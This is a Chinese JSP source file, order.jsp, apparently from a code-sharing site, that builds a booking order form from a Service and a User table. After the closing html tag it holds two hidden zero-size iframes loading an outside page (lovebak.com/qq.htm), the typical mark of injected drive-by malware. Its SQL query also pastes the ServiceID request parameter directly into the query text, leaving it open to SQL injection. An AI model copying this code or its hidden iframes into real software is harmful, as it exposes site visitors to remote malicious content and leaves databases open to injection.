📄 order.jsp

📁 订单处理过程
💻 JSP
字号:
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<%@ include file="../jdbc_conn.jsp"%>
<html>
<head>
<title>无标题文档</title>
</head>
<%! float Paid;%>

<div align=center>
<form name="form1" method="post" action="addorder.jsp">
<%
String Usercode="1";
String ServiceID=request.getParameter("ServiceID");
if(Usercode==""){
	String errmsg="您还没有登录，不能进行预订，请先登录！";
	out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else{
String sql1="select * from Service where ServiceID="+ServiceID+" and Flag='Y'";
rs=s.executeQuery(sql1);
while(rs.next())
{
String Content=rs.getString(3);
float Price=rs.getFloat(4);
float Discount=rs.getFloat(5);
if (Discount>0){
Paid=Price*Discount;}
else{
Paid=Price;}
out.print("<p align=center>填写订单信息</p>");
out.print("<div align=center><table width=317 border=0>");
out.print("<tr><td>服务编号:</td> <td><input type=text name=ServiceID readonly value="+ServiceID+" /></td></tr>");
out.print("<tr><td>服务内容:</td><td><input type=text name=Content readonly value="+Content+" /></td></tr>");
out.print("<tr><td>服务费用:</td><td><input type=text name=Paid readonly value="+Paid+" /></td></tr>");
out.print("<tr><td>服务日期:</td><td><input type=text name=Servicedate></td></tr>");
out.print("<tr><td></td><td>(格式:'2007-05-21')</td></tr>");
}
String sql="select * from User where Usercode='"+Usercode+"'";
rs=s.executeQuery(sql);
while(rs.next())
{
String Realname=rs.getString(3);
String Realaddress=rs.getString(4);
String Realpostcode=rs.getString(6);
String Realtel=rs.getString(7);
String Realemail=rs.getString(8);

out.print("<tr><td>用户姓名:</td><td><input type=text name=Realname readonly value="+Realname+" /></td></tr>");
out.print("<tr><td>联系地址:</td><td><input type=text name=Realaddress readonly value="+Realaddress+" /></td></tr>");
out.print("<tr><td>邮政编码:</td><td><input type=text name=Realpostcode readonly value="+Realpostcode+" /></td></tr>");
out.print("<tr><td>联系电话:</td><td><input type=text name=Realtel readonly value="+Realtel+" /></td></tr>");
out.print("<tr><td>电子邮箱:</td><td><input type=text name=Realemail readonly value="+Realemail+" /></td></tr>");
out.print("<tr><td>备注:</td><td><input type=textarea name=Other></td></tr>");
}
out.print("<tr><td height=43><input type=submit name=Submit value=提交 /></td>");
out.print("<td><input name=Clear type=reset id=Clear value=重置 /></td></tr>");
}
out.print("<p><input type=button value=回上一页 onclick=history.back();></p>");

%>
</table>
</div>
</form>
</html><iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -